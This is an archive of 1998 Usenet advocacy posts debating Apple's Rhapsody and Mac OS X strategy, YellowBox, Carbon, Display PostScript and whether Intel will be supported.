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Cc: henry@trilithon.com
In <3559E459.6B0178B4@trilithon.com> Henry McGilton wrote:
> akira@home.com wrote:
> I will conjecture that they will, as you said, keep the imaging
> model [which after all contains huge support for various
> colour models and excellent halftoning], and reduce the PostScript
> language to a declarative language along the lines of PGML.
>
What can I say...
http://www.stepwise.com/SpecialCoverage/WWDC98/
Thursday-Graphics.html
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 09:04:50 GMT
Organization: P & L Systems
Message-ID: <6jh0fi$1cc$38@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110>
<355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162>
Mime-Version: 1.0
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Cc: see-below@not-my-address.com
In <see-below-1405982138030001@209.24.240.162> Matthew Vaughan wrote:
> In article <355AD786.FD81A010@milestonerdl.com>, mark@milestonerdl.com
wrote:
>
> > but then what's the diff between Rhapsody/PPC and MacOS X?
>
> That's a good question, to which I don't know the answer.
>
Carbon APIs and the imaging model.
(Along with various other enhancements, lime Mach 3 kernel, better BlueBox
etc.)
Best wishes,
mmalc.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 03:33:07 -0700
Message-ID: <see-below-1505980333080001@209.24.240.3>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk>
In article <6jh0fi$1cc$38@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <see-below-1405982138030001@209.24.240.162> Matthew Vaughan wrote:
> > In article <355AD786.FD81A010@milestonerdl.com>, mark@milestonerdl.com
> wrote:
> >
>
> > > but then what's the diff between Rhapsody/PPC and MacOS X?
> >
> > That's a good question, to which I don't know the answer.
> >
> Carbon APIs and the imaging model.
> (Along with various other enhancements, lime Mach 3 kernel, better BlueBox
> etc.)
>
> Best wishes,
>
> mmalc.
Are you talking about only CR1, or about later releases (ie, same time as
OS 10)? In other words, did they say any more about continuing
Rhapsody/PPC (server) releases, and how/when/if it will merge into OS 10?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 May 1998 10:05:33 GMT
Organization: P & L Systems
Message-ID: <6jh41d$1cc$41@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
<rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com>
<ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244>
<35583135.7CE2CEC9@milestonerdl.com> <6jcjun$1cc$24@ironhorse.plsys.co.uk>
<3559CD42.9033EE77@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3559CD42.9033EE77@milestonerdl.com> M Rassbach wrote:
> And the cross-platform aspect of YellowBox is clear how?
>
Because it runs on multiple platforms.
But you knew that.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 May 1998 10:21:39 GMT
Organization: P & L Systems
Message-ID: <6jh4vj$1cc$42@ironhorse.plsys.co.uk>
References: <6jft1v$83b$1@crib.bevc.blacksburg.va.us> <B1810ADA-12A90@206.165.43.99>
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Cc: english@primenet.com
In <B1810ADA-12A90@206.165.43.99> "Lawson English" wrote:
> 1) MacOS 8.x apparently will never run YB apps so it can't directly access
> DPS or the Rhaposdy graphics framework.
>
This is the whole point! Instead of adding YB to MacOS (difficult) they're
adding "MacOS to Rhapsody", so that instead of MacOS 9 being MacOS8 + YB as
seemed to be the original plan, you'll have MacOS X instead.
> 2) Carbon apps can't use GX and they can't use the YB framework directly
> either, because if they did, they couldn't run under MacOS 8.x.
>
For heaven's sake, read the announcements. Carbon apps can access YB: AAA+'s
Joy for Rhapsody already works with both Carbon and YB.
> In other words, developers of Carbon-based apps can't use GX *OR* a
> DPS-based GX-like entity
>
Yes they will -- you obviously haven't read the notes from the imaging
session. Go away and read them.
> MacOS 8.5 users won't see the best developers even considering GX (if they
> ever would) because the best developers want to target to the high-end,
> which can't use GX.
>
You called us obsessed with DPS recently. What the dickens do MacOS 8.5
users care about GX? Answer: nothing.
> So MacOS developers have crippled graphics and Yellow Box developers have a
> crippled MacOS market.
>
Bollocks. What's the rationale behind that? As a YellowBox developer I'm
looking forward to a significantly enhanced MacOS market.
mmalc.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 03:45:51 -0700
Message-ID: <see-below-1505980345520001@209.24.240.3>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02.primenet.com> <nagleEsxEDn.2M6@netcom.com> <*johnnyc*-1405981142130001@rklein.psychology.dal.ca> <nagleEszMAp.BzM@netcom.com>
In article <nagleEszMAp.BzM@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> *johnnyc*@or.psychology.dal.ca (John Christie) writes:
> >In article <nagleEsxEDn.2M6@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> >> John Jensen <jjens@primenet.com> writes:
> >> Incidentally, what 3D strategy is Apple pushing this week?
> >> QuickDraw 3D? OpenGL? Direct-3D?
> >>
> >> John Nagle
> >> www.animats.com
>
> > The latest rumor is that SGI made a deal with Apple. Apparently a
> >barter between QT and OpenGL is in the works.
>
> Actually, SGI made a deal with Microsoft a few months back that
> amounted to unconditional surrender. SGI agreed to build NT boxes,
> and to gut OpenGL by making it work through a low-level Direct-X layer.
> Supposedly there will be a new joint scene graph API on top, but
> in practice, those big scene graph APIs don't get used much.
Yes, but this SGI-Apple deal is something different, something new (and
just a rumor, so far). I also don't know how it would or would not relate
to Farenheit.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X, Unix, and Open Firmware (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: Fri, 15 May 1998 03:42:44 -0700
Message-ID: <see-below-1505980342450001@209.24.240.3>
References: <19980514155241852134@sdn-ts-011txhousp14.dialsprint.net> <B181637B-B057D@204.31.112.117>
In article <B181637B-B057D@204.31.112.117>, "Phil Brewster"
<pjbrew@nospam.com> wrote:
> George Graves and others have also been posting some pretty compelling (or
> damning...) evidence from Jobs' Keynote that MacOS X will be G3-only on the
> PPC side. Though I suppose one could attempt to rationalize the meaning of
> 'current systems' in the above quote to include the PCI 603e and 604e
> systems that were still shipping from Apple up until a few months ago (like
> the 8600s and 9600s), let's assume this is the case for the moment, and
> that MacOS X will be G3-only.
>
> The question I would have at that point is whether PCI machines with G3
> upgrade cards would also be supported at all, since if the Open Firmware
> version is the reason and the real issue behind making MacOS X 'G3-only',
> then only 'current' brand-new Apple G3 systems (and future iMac-and-later
> G3 systems from Apple) would have the appropriate ROM chips, etc., for
> MacOS X, as I understand it, true?
>
> -- IOW, will current buyers of, say, the UMAX S900 + bundled G3 card be
> screwed?.... If so, then this is why some of us still mourn and bemoan the
> demise of CHRP and 'ROM-less' Macs. (Apple's refusal to release the G3
> specs to Be, Inc. being another recent example, IMNSHO....).
I suspect that if it were G3-only, it would _not_ work with 9600, S900,
and other earlier machines with G3 upgrades. I'm not sure what the issue
would be, probably OF, possibly just not wanting to spend the time to
support too much hardware. At any rate, ROM wouldn't be an issue, since OS
10 won't be using the Mac Toolbox in ROM, and I imagine it wouldn't be a
processor-dependant issue, either.
I would be shocked if it were G3-only, but might understand if they
started off with more-limited hardware support and worked down from there,
as Rhapsody DR1 did.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 15 May 1998 03:46:37 -0700
Message-ID: <see-below-1505980346380001@209.24.240.3>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181> <19980515021826934065@sdn-ts-007txhousp10.dialsprint.net>
In article <19980515021826934065@sdn-ts-007txhousp10.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
> Lawson English wrote:
>
> > X is NOT a consumer-oriented OS, and unless you can sell to millions of
> > customers, you can't get the market-penetration to make Yellow a standard
> > on MacOS.
>
> What makes you think that X is not a consumer-oriented OS?
I agree. It was my impression this will be Apple's consumer OS on any
hardware that supports it.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Alternatives to Adobe
Date: 15 May 1998 10:50:30 GMT
Organization: Idiom Communications
Message-ID: <6jh6lm$526$1@news.idiom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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I'd just like to mention that there are at least three alternatives to Adobe
DPS for a functional equivalent:
1) Display Ghostscript. Already a work in progress.
2) Sun's NeWS. This was the first implementation of Postscript by someone
other than Adobe. It was a screamer, and turned in very impressive
performance on a sparc 1!
3) SGI's implementation of NeWS. From what I've been told by people at the
Grasshopper Group (who were the first company to ship a product for A/UX)
this was the fastest implementation of Postscript, ever.
1) currently depends on X windows, like Adobe's DPS/X, but that could be
fixed. 2) and 3) could be pretty much drop-in replacements for DPS, but
nobody's touched the code in a few years.
Meanwhile, I say: A pox on Adobe. Pride goeth before the fall.
-jcr
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Thu, 14 May 1998 11:58:50 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981158500001@dante.eng.uci.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com> <rmcassid-1305981217110001@dante.eng.uci.edu> <355B0318.2D119336@milestonerdl.com>
In article <355B0318.2D119336@milestonerdl.com>, mark@milestonerdl.com wrote:
>However, Apple could be preping for a bait-and-switch. And the ppl who will be
>burned are the ones who have believed Apple has a plan to support NT5. Such a
>plan has not been announced formally. So, if you adopt YellowBox, your only
>option is PPC's by Apple.
You know, Mark. REGARDLESS of what Apple says publicly, they could be
prepping for a bait and switch. So can Intel, Microsoft, IBM, the guy on
your left and the gal on your right. Don't belive any of them. Don't let
your guard down for a second. In fact, go get yourself some *really* heavy
duty tin-foil and wrap it around your head. It keeps the reality
distortion field out.
You can belive what you want to believe, just have your party on TV. The
man from Mars stopped eating cars and eating bars and now he only eats
guitars.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 12:04:02 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981204020001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355AF1CA.79FBB58C@milestonerdl.com>
In article <355AF1CA.79FBB58C@milestonerdl.com>, mark@milestonerdl.com wrote:
>> Well, I can't really see an elementary school class being interested in using
>> Unix for anything. Can you?
>
>Apple ][ emulation and Web surfing/email are 2 off the top of my head.
And you
>can even use your Apple ]['s as a terminal to the Unix box..
What are you, an idiot? *Anything* can emulate an Apple ][, why do you
need unix for that? Why do you need unix for email and web surfing. You DO
know that Macs and Peecees have been able to do both of those things for a
few years now..
>> What would a graphic artist use Unix for?
>
>Rendering comes to mind, right off the top of my head.
Why would they need unix for that? I can't do rendering on a Mac?
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Thu, 14 May 1998 12:11:31 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981211310001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5>
In article <355af407.0@206.25.228.5>, jkheit@xtdl.com wrote:
>I disagree to some extent. To me it seems like some mac users not
>only dont want unix, but they don't want others to be able to use
>it if they don't. Heaven forbid (i.e. apple) if others might
>actually make use of something they don't feel like learning. So
>in some twisted fashion and perhaps for reasons of fearing falling
>behind in technical prowess they will begrudge others the opportunity
>to use better technology.
John, and some unix users don't want anyone to use anything but unix,
because heaven forbid they should be able to solve problems without having
to amass that massive base of alphabet soup command line knowledge.
"In my day we didn't have mice. Hell, we didn't even have keyboards. We
had to hold magnets up next to the memory chips just to program the
computer, and it was fun too dammit! Now go get me some prozac and beer!"
Personally, I've never known a Mac user to suggest that others shouldn't
learn unix. On the other hand, I don't EVER want someone to tell me that
my mom HAS to deal with unix just to use her computer. Leave unix out of
the _consumer_ version of the MacOS X by default. Let me add it in or
purchase a unix enabled version, though please.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone notice?
Date: Thu, 14 May 1998 12:15:02 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981215020001@dante.eng.uci.edu>
References: <355a240b.0@news.depaul.edu> <1d90rdb.fsb871iesj0yN@dialup184-4-8.swipnet.se>
In article <1d90rdb.fsb871iesj0yN@dialup184-4-8.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
>Seems the new and improved leadership bought from NeXT continues the "no
>wait - i have a better idea" tradition (with emphasis on "wait").
Seems to me the lack of YellowBox is what forced the hand of Apple to
develop Carbon. Rhapsody *will* ship roughly when they said it would in
roughly the form they said it would. So Apple adds a framework to assist
legacy apps in getting PMT and so on. Big whoop. That's not really a major
change in OS strategy, if anything it's an improvement on what they
offered before.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Thu, 14 May 1998 12:20:46 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981220460001@dante.eng.uci.edu>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <6jee5v$job$1@leonie.object-factory.com>
In article <6jee5v$job$1@leonie.object-factory.com>,
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
>Simple solution - and a hint to Apple: simply make the YB installer spew
>YB stuff all over the \Win\System directory! Completely compatible with
>the rest of the scrap heap, and acts like a good Windhose citizen,
>too! 8-)
No, it should go in and rename all the Windows files in there to something
that the user actually could understand. Apple could give it away as the
'Windows System File Organizer' (WINSYFO.EXE for those that speak DOS)
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Thu, 14 May 1998 12:26:24 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981226240001@dante.eng.uci.edu>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <rmcassid-1205981520250001@dante.eng.uci.edu> <355A796F.ACA@sympatico.ca>
In article <355A796F.ACA@sympatico.ca>, Pete Casso
<petecassostein@sympatico.ca> wrote:
>What I am hoping for, is that in August or soon afterwards, Apple can
>take advantage of economies of scale, and is able to drop the desktop
>model of G3/233MHz to an even one grand ...
>
>Is that realistic? Any comments?
No. The G3 233 will most likely be dropped altogether once the margins get
too tight. It may see another price drop, but not that far. On the other
hand, there may be a different system in it's place and we know there will
be the iMac. Remember that the G3 desktops are the *Pro* line, so don't
expect them to compete with the consumer stuff in price. They'll get
speed-bumped instead and retain the high margins.
Of course, that doesn't preclude you from getting one at close-out from
Cybout or a used one at that price.
-Bob Cassidy.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 11:41:13 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1405981141130001@dante.eng.uci.edu>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com> <6jd4f5$ehq$1@nnrp1.dejanews.com> <355A171A.4F4F20C8@milestonerdl.com>
In article <355A171A.4F4F20C8@milestonerdl.com>, mark@milestonerdl.com wrote:
>spagiola@my-dejanews.com wrote:
>> Right, except that as things stand, being cross-platform means that Adobe has
>> to maintain two quite distinct code bases for their Mac and Windows products.
>Or, does Adobe know that YellowBox cross-platform is dead?
Adobe ALREADY has a cross-platform framework. They don't need YellowBox in
the near term. The problem is already solved in their eyes.
-Bob Cassidy
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 06:08:06 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C2215.8B54731A@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <forrestDELETE-THIS!-1405981252280001@term1-21.vta.west.net> <355B473D.64D8E298@milestonerdl.com> <pxpst2-1405981934260001@pelli.pathology.pitt.edu>
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Peter wrote:
> In article <355B473D.64D8E298@milestonerdl.com>, mark@milestonerdl.com wrote:
>
>
> > http://www.macnn.com/macnn/reality/archives/051198/news.shtml(No word if
> Rhapsody Intel will be pushed as much)
> >
> > Brett talked about support for
> > Rhapsody in the future on multiple architectures, but again, he too
> was very vague on this subject and did not specifically mention
> > Intel. We believe Steve briefed these keynote speakers ahead of
> time, and warned them to stay clear of the Intel situation since they
> > aren't quite secure in this area.
> > Brett Halle, Manager of the Core OS group
> >
> > So, explain the above. Esp. the 'stay clear' part.
>
> First, there is a lot of confusion out there but one thing is BRUTALLY
> CLEAR to anyone who understands what the purpose of the Mach Kernal is.
> The Mach kernal is the part of the OS that talks via drivers to the
> hardware NOT THE APIs. Therefore when Apple writes a new API for the
> yellow box, porting to the YB/Intel is not really a big deal. What is a
> big deal and something you miss in your endless rantings about Apple What
> Intel Hardware will be supported? Remember there is a shit load of
> variations on the Intel side and that makes creating a Mach Kernal with
> all appropriate drivers sort of difficult. But if your machine is from
> some reputable manufacturer like Gateway,compaq or even Dell(yuck), you
> will not have to much of a problem. I am pretty sure that Intel will keep
> their Mach kernal pretty up to date don't you?
Nothing is stopping Apple, from a technology standpoint.
Politics is another matter. And protecting Apple's hardware sales is another.
And, until there is a formal statement by Apple pledging support for NT 5.x/98 I
will maintain that Apple's plan is to AVOID making such a pledge.
Why? That way when YellowBox breaks in the NT4->NT5 Microsoft move, then Apple
can say 'too bad. We didn't plan on NT5, and we arn't making a change. If you
want a supported YellowBox environment, then go get an Apple PPC box.'
Apple's goal is to sell boxes. A bait and switch move would do that.
From: jes@rednsi.com (Josep Egea i Sanchez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: 15 May 1998 11:15:41 GMT
Organization: Telefonica Transmision de Datos
Message-ID: <6jh84t$c6u$1@diana.bcn.ibernet.es>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <355A8F10.1D5858B4@unet.univie.ac.at>
<see-below-1405980105050001@209.24.241.190> <6jf0bk$3d2$2@diana.bcn.ibernet.es>
<6jfnhh$15o$2@msunews.cl.msu.edu>
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Cc: spammers@ruin.the.internet.channelu.com
In <6jfnhh$15o$2@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> In <6jf0bk$3d2$2@diana.bcn.ibernet.es> Josep Egea i Sanchez wrote:
> >
> > I can't know whether it is true or false. But if you need a reason for
> > Apple to delay DR2 Intel, it could perfectly be the same that applied to
> > DR1 Intel. (and DR1 Intel progress was way ahead from DR1 PPC for obvious
> > reasons)
>
> I think it's hard to say since they are also doing kernel work, YB
> enhancements (can you say Java) and a lot of other stuff. Surely BlueBox
> on PPC is an issue but it wouldn't be good form to release intel before PPC
> (not this time). BTW: DR2 for Intel and PPC were released at WWDC together
> so that tells you something (I wish I could have been there). I'd be
> willing to bet that Apple will ship both PPC and Intel to developers
> together the first week of May.
When I was talking about obvious reasons I wasn't thinking on the BlueBox but
on the fact that software was already written (and optimized) for Intel. New
improvements (Java, YB additions, etc) had to be created for both versions,
so I don't see any reason for this additions to delay either port
Anyway, I wasn't advocating for an anticipated Intel release but for a
simultaneous Intel/PPC one. I agree that Apple can't afford to offer an Intel
version prior to PPC, but I cannot find a rational reason to delay Rhapsody
Intel.
However, before reading your post, I thought that only PPC RDR2 had been
released on WWDC. If your comment is right and RDR2 Intel is also there, then
I have no complains.
I wish I'd be there too... :-)
Best regards
--
Josep Egea - jes@rednsi.com - NeXTMail & MIME OK
NEXUS Servicios de Informacion - Barcelona (Spain)
Telf: + 34 3 285 00 70 - Fax: + 34 3 284 31 43
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: OpenDoc was Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 06:32:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C27B8.A5CC36F1@milestonerdl.com>
References: <djboccip-1305981552470001@qburst.msfc.nasa.gov> <B17F8171-2CCAA@206.165.43.40> <355A7F01.2DC4FA27@trilithon.com> <nagleEsxrz1.Grn@netcom.com> <355AECC0.5FA7A8E7@milestonerdl.com> <tbrown-1405982240360001@mv079.axom.com>
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I remember reading it in InfoWorld a couple of years ago. It was back when
there was still a chance that WordPerfect mattered in the market.
I would think that old OpenDoc people would remember that.....and have details.
Ted Brown wrote:
> In article <355AECC0.5FA7A8E7@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> >As I remember it, Microsoft wouldn't ship betas unless you signed the NDA
> >that said you agreed not to work on OpenDoc.
>
> Is this true? Do you have a source for that? This seems far more of an
> abuse of 'monopoly power' than some of the other things that the DOJ is
> after.
>
> --
> Ted Brown tbrown@netset.com
From: jq@papoose.quick.com (James E. Quick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 15 May 1998 08:10:22 -0400
Organization: Quick and Associates
Message-ID: <6jhbbe$bud@papoose.quick.com>
References: <19980515021826934065@sdn-ts-007txhousp10.dialsprint.net> <B1813BDB-72AAE@206.165.43.157>
In article <B1813BDB-72AAE@206.165.43.157>,
Lawson English <english@primenet.com> wrote:
>The fact that there will be 3 APIs supported in MacOS X, making it even
>more bloated than Rhapsody in some ways?
Watch how you say bloated, buddy! 8^)
Everything in Rhapsody/MacOSX is shared text and demand paged.
Just because you've got a framework available does not mean that
you will be using resources to support it all the time. Only those
sections of text that are in active use will take up any memory,
and only those pages that contain dynamic data will take up any
swap space at all.. If something was used, but not recently, and
another process re-uses that physical memory, no big deal. The
next time that page is re-accessed it will simply be paged in from
the original text again.
The VM subsystem in the Mach+BSD environment is truly beautiful to behold.
This is not a kludge like found in the cruft coming out of Redmond (or
like in previous versions of MacOS for that matter).
And truly there are only 2 APIs, Yellow and Black (Carbon). Blue is
closer to an application than an API. Blue has an implicit API but
is really there just for legacy code, not for on-going maintenance
and development.
--
___ ___ | James E. Quick jq@quick.com
/ / / | Quick & Associates NeXTMail O.K.
\_/ (_\/ | If only the HMO would cover my allergy to gravity...
) | Blue skies, and soft landings.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 06:41:36 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355C29F0.2F0A8AB1@milestonerdl.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
<rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com>
<ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244>
<35583135.7CE2CEC9@milestonerdl.com> <6jcjun$1cc$24@ironhorse.plsys.co.uk>
<3559CD42.9033EE77@milestonerdl.com> <6jh41d$1cc$41@ironhorse.plsys.co.uk>
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And the future is?
NT 4.0/95
Where is NT 5.X and any future beyond that? Apple has said the future
is in question.
But let me quiote
http://www.macnn.com/macnn/reality/archives/051198/news.shtml
(No word if Rhapsody Intel will be pushed as much)
Brett talked about support for
Rhapsody in the future on multiple architectures, but again, he too
was very vague on this subject and did not specifically mention
Intel. We believe Steve briefed these keynote speakers ahead of
time, and warned them to stay clear of the Intel situation since they
aren't quite secure in this area.
Brett Halle, Manager of the Core OS group
mmalcolm crawford wrote:
> In <3559CD42.9033EE77@milestonerdl.com> M Rassbach wrote:
> > And the cross-platform aspect of YellowBox is clear how?
> >
> Because it runs on multiple platforms.
> But you knew that.
>
> mmalc.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Message-ID: <1998051512463700.IAA17060@ladder01.news.aol.com>
Date: 15 May 1998 12:46:37 GMT
Organization: AOL http://www.aol.com
References: <6jg3b7$nol$1@newsfep4.sprintmail.com>
Yes, Rhapsody will be shipped Q3 '98 presumably, and should be PPC and Intel.
Moreover, just because some MacOS API's get added to the PowerPC of Rhapsody
(Mac OS X and Carbon) doesn't make it impossible to ship a second PC compatible
version (let's hope it runs on more than just Intel chips).
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: far_no@spam.ix.netcom.com(Felipe A. Rodriguez)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 12:54:47 GMT
Organization: ICGNetcom
Message-ID: <6jhdun$k35@sjx-ixn10.ix.netcom.com>
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us>
In article <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> nurban@crib.bevc.blacksburg.va.us
(Nathan Urban) writes:
>In article <6jgq6j$5us@sjx-ixn10.ix.netcom.com>, far_no@spam.ix.netcom.com wrote:
>
>> Come to think of it I did'nt get my recommended daily allotment
>> which probably explains why I agree it SUCKS! It's hideous.
>
